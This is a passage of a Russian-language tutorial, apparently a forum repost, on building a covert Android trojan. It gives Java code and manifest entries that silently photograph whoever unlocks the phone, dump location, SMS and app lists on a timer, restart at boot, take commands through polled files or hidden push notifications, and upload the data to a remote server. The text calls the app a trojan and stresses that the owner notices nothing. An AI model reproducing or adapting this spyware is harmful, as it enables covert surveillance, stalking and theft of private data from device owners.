request = device.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
request.addTarget(previewSurface);
request.set(CaptureRequest.CONTROL_AF_TRIGGER,
CameraMetadata.CONTROL_AF_TRIGGER_START);
captureSession.setRepeatingRequest(request.build(), mCaptureCallback, handler);
} catch (Exception e) {
}
}
@Override
public void onConfigureFailed(CameraCaptureSession mCaptureSession) {}
};
private CameraCaptureSession.CaptureCallback mCaptureCallback =
new CameraCaptureSession.CaptureCallback() {
@Override
public void onCaptureCompleted(CameraCaptureSession session,
CaptureRequest request,
TotalCaptureResult result) {
}
};
private final ImageReader.OnImageAvailableListener mOnImageAvailableListener =
new ImageReader.OnImageAvailableListener() {
@Override
public void onImageAvailable(ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd-HH-mm-ss");
Date date = new Date();
String filename = photosDir + "/" + dateFormat.format(date) + ".jpg";
File file = new File(filename);
Image image = imageReader.acquireLatestImage();
try {
ByteBuffer buffer = image.getPlanes()[0].getBuffer();
byte[] bytes = new byte[buffer.remaining()];
buffer.get(bytes);
OutputStream os = new FileOutputStream(file);
os.write(bytes);
image.close();
os.close();
} catch (Exception e) {
e.getStackTrace();
}
closeCamera();
}
};
private void takePicture() {
request.set(CaptureRequest.JPEG_ORIENTATION, getOrientation());
request.addTarget(imageReader.getSurface());
try {
session.capture(request.build(), mCaptureCallback, handler);
} catch (CameraAccessException e) {
}
}
private void closeCamera() {
try {
if (null != session) {
session.abortCaptures();
session.close();
session = null;
}
if (null != device) {
device.close();
device = null;
}
if (null != imageReader) {
imageReader.close();
imageReader = null;
}
if (null != surfaceTexture) {
surfaceTexture.release();
}
} catch (Exception e) {
}
}
public boolean takeSilentPhoto(String cam, String dir) {
photosDir = dir;
int facing;
switch (cam) {
case "front":
facing = CameraCharacteristics.LENS_FACING_FRONT;
break;
case "back":
facing = CameraCharacteristics.LENS_FACING_BACK;
break;
default:
return false;
}
CameraManager manager = (CameraManager)
context.getSystemService(Context.CAMERA_SERVICE);
String cameraId = null;
characteristics = null;
try {
for (String id : manager.getCameraIdList()) {
characteristics = manager.getCameraCharacteristics(id);
Integer currentFacing = characteristics.get(CameraCharacteristics.LENS_FACING);
if (currentFacing != null && currentFacing == facing) {
cameraId = id;
break;
}
}
} catch (Exception e) {
return false;
}
HandlerThread handlerThread = new HandlerThread("CameraBackground");
handlerThread.start();
handler = new Handler(handlerThread.getLooper());
imageReader = ImageReader.newInstance(1920,1080, ImageFormat.JPEG, 2);
imageReader.setOnImageAvailableListener(mOnImageAvailableListener, handler);
try {
manager.openCamera(cameraId, mStateCallback, handler);
- Ждем фокусировку
takePicture();
} catch (Exception e) {
Log.d(TAG, "Can't open camera: " + e.toString());
return false;
}
return true;
}
private int getOrientation() {
WindowManager wm = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
int rotation = wm.getDefaultDisplay().getRotation();
int deviceOrientation = 0;
switch(rotation){
case Surface.ROTATION_0:
deviceOrientation = 0;
break;
case Surface.ROTATION_90:
deviceOrientation = 90;
break;
case Surface.ROTATION_180:
deviceOrientation = 180;
break;
case Surface.ROTATION_270:
deviceOrientation = 270;
break;
}
int sensorOrientation = characteristics.get(CameraCharacteristics.SENSOR_ORIENTATION);
deviceOrientation = (deviceOrientation + 45) / 90 * 90;
boolean facingFront = characteristics.get(CameraCharacteristics.LENS_FACING) == CameraCharacteristics.LENS_FACING_FRONT;
if (facingFront) deviceOrientation = -deviceOrientation;
return (sensorOrientation + deviceOrientation + 360) % 360;
}
}
Этот код следует вызывать в отдельном потоке, передав в качестве аргументов место расположения камеры («front» — передняя, «back» — задняя) и каталог, в который будут сохранены фотографии. В качестве имен файлов будет использована текущая дата и время.
String cameraDir = context.getApplicationInfo().dataDir + "/camera/"
camera.takeSilentPhoto("front", cameraDir);
Складываем все вместе
С этого момента у нас есть каркас приложения, который запускает сервис и скрывает свое присутствие. Есть набор функций и классов, которые позволяют собирать информацию о смартфоне и его владельце, а также скрыто записывать аудио и делать фото. Теперь нужно разобраться, когда и при каких обстоятельствах их вызывать.
Если мы просто засунем вызов всех этих функций в сервис, то получим бесполезное «одноразовое приложение». Сразу после запуска оно узнает информацию о местоположении, получит список приложений, СМС, сделает запись аудио, снимок, сохранит все это в файлы в своем приватном каталоге и уснет. Оно даже не запустится после перезагрузки.
Гораздо более полезным оно станет, если определение местоположения, дамп приложений и СМС будет происходить по расписанию (допустим, раз в полчаса), снимок экрана — при каждом включении устройства, а запись аудио — по команде с сервера.
Задания по расписанию
Чтобы заставить Android выполнять код нашего приложения через определенные интервалы времени, можно использовать AlarmManager. Для начала напишем такой класс:
public class Alarm extends BroadcastReceiver {
public static void set(Context context) {
AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
Intent intent = new Intent(context, Alarm.class);
PendingIntent pIntent = PendingIntent.getBroadcast(context, 0, intent, 0);
am.setInexactRepeating(AlarmManager.ELAPSED_REALTIME_WAKEUP, SystemClock.elapsedRealtime(), 30 * 60 * 1000, pIntent);
}
@Override
public void onReceive(Context context, Intent intent) {
- Твой код здесь
}
Метод «set()» установит «будильник», срабатывающий каждые тридцать минут и запускающий метод «onReceive()». Именно в него вы должны поместить код, скидывающий местоположение, СМС и список приложений в файлы.
В метод «onCreate()» сервиса добавьте следующую строку:
Alarm.set(this)
Снимок при включении экрана
Бессмысленно делать снимок каждые полчаса. Гораздо полезнее делать снимок передней камерой при разблокировке смартфона (сразу видно, кто его использует). Чтобы реализовать такое, создайте класс ScreenOnReceiver:
class ScreenOnReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
- Ваш код здесь
}
И добавьте в манифест следующие строки:
<receiver android:name="com.example.app.ScreenOnReceiver">
<intent-filter>
<action android:name="android.intent.action.ACTION_SCREEN_ON" />
</intent-filter>
</receiver>
Запуск при загрузке
В данный момент у нашего приложения есть одна большая проблема — оно будет работать ровно до тех пор, пока юзер не перезагрузит смартфон. Чтобы перезапускать сервис при загрузке смартфона, создадим еще один ресивер:
class BootReceiver extends BroadcastReceiver() {
@Override
void onReceive(Context context, Intent intent) {
Intent serviceIntent = new Intent(this, MainService.class);
startService(serviceIntent);
}
}
И опять же добавим его в манифест:
<receiver android:name="com.example.BootReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
Запись аудио по команде
С этим немного сложнее. Самый простой способ отдать команду нашему трояну — записать ее в обычный текстовый файл и выложить этот файл на сервере. Затем поместить в сервис код, который будет, допустим, каждую минуту чекать сервер на наличие файла и выполнять записанную в нем команду.
В коде это может выглядеть примерно так:
String url = "Для просмотра ссылки Войди
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(url).build();
while (true) {
Response response = client.newCall(request).execute();
String cmd = response.body().string();
cmd = cmd.trim()
if (cmd.equals("record")) {
- Делаем аудиозапись
try {
Thread.sleep(60 * 1000);
} catch (InterruptedException e) {}
}
Конечно же, у этого кода есть проблема — если вы один раз запишете команду в файл на сервере, троян будет выполнять ее каждую минуту. Чтобы этого избежать, достаточно добавить в файл числовой префикс в формате «X:команда» и увеличивать этот префикс при каждой записи команды. Троян же должен сохранять это число и выполнять команду только в том случае, если оно увеличилось.
Гораздо хуже, что ваш троян будет заметно жрать батарею. А Андроид (начиная с шестой версии) будет его в этом ограничивать, закрывая доступ в интернет.
Чтобы избежать этих проблем, можно использовать сервис push-уведомлений. OneSignal отлично подходит на эту роль. Он бесплатен и очень прост в использовании. Зарегистрируйтесь в сервисе, добавьте новое приложение и следуйте инструкциям, в конце ван скажут, какие строки необходимо добавить в build.gradle приложения, а также попросят создать класс вроде этого:
class App extends Application {
@Override
public void onCreate() {
super.onCreate()
OneSignal.startInit(this).init()
}
}
Но это еще не все. Также ван нужен сервис — обработчик push-уведомлений, который будет принимать их и выполнять действия в зависимости от содержащихся в push-уведомлении данных:
class OSService extends NotificationExtenderService {
@Override
protected boolean onNotificationProcessing(OSNotificationReceivedResult receivedResult) {
String cmd = receivedResult.payload.body.trim()
if (cmd.equals("record")) {
- Делаем аудиозапись
- Не показывать уведомление
}
}
Этот код трактует содержащуюся в уведомлении строку как команду и, если эта команда — record, выполняет нужный нам код. Само уведомление не появится на экране, поэтому пользователь ничего не заметит.
Последний штрих — добавим сервис в манифест:
<service
android:name="org.antrack.app.service.OSService"
android:exported="false">
<intent-filter>
<action android:name="com.onesignal.NotificationExtender" />
</intent-filter>
</service>
Отправка данных на сервер
На протяжении всей статьи мы обсуждали, как собрать данные и сохранить их в файлы внутри приватного каталога. И теперь мы готовы залить эти данные на сервер. Сделать это не так уж сложно, вот, например, как можно отправить на сервер нашу фотку:
private static final MediaType MEDIA_TYPE_JPEG = MediaType.parse("image/jpeg");
public void uploadImage(File image, String imageName) throws IOException {
OkHttpClient client = new OkHttpClient();
RequestBody requestBody = new MultipartBody.Builder().setType(MultipartBody.FORM)
.addFormDataPart("file", imageName, RequestBody.create(MEDIA_TYPE_JPEG, image))
.build();
Request request = new Request.Builder().url("Для просмотра ссылки Войди
.post(requestBody).build();
Response response = client.newCall(request).execute();
}
Вызывать этот метод нужно из метода «onReceive()» класса Alarm, чтобы каждые тридцать минут приложение отправляло новые файлы на сервер. Отправленные файлы следует удалять.
Ну и конечно же, на стороне сервера вам необходимо реализовать хендлер, который будет обрабатывать аплоады. Как это сделать, сильно зависит от того, какой фреймворк и сервер вы используете.
Выводы
Android — очень дружелюбная к разработчикам сторонних приложений ОС. Поэтому создать троян здесь можно, используя стандартный API. Более того, с помощью того же API его иконку можно скрыть из списка приложений и заставить работать в фоне, незаметно для пользователя.
Имейте ввиду! Андроид 8 хоть и позволяет собранным для более ранних версий Android приложениям работать в фоне, но выводит об этом уведомление. С другой стороны, много ли вы видели смартфонов на Android 8 в дикой природе?
Посмотреть вложение 3989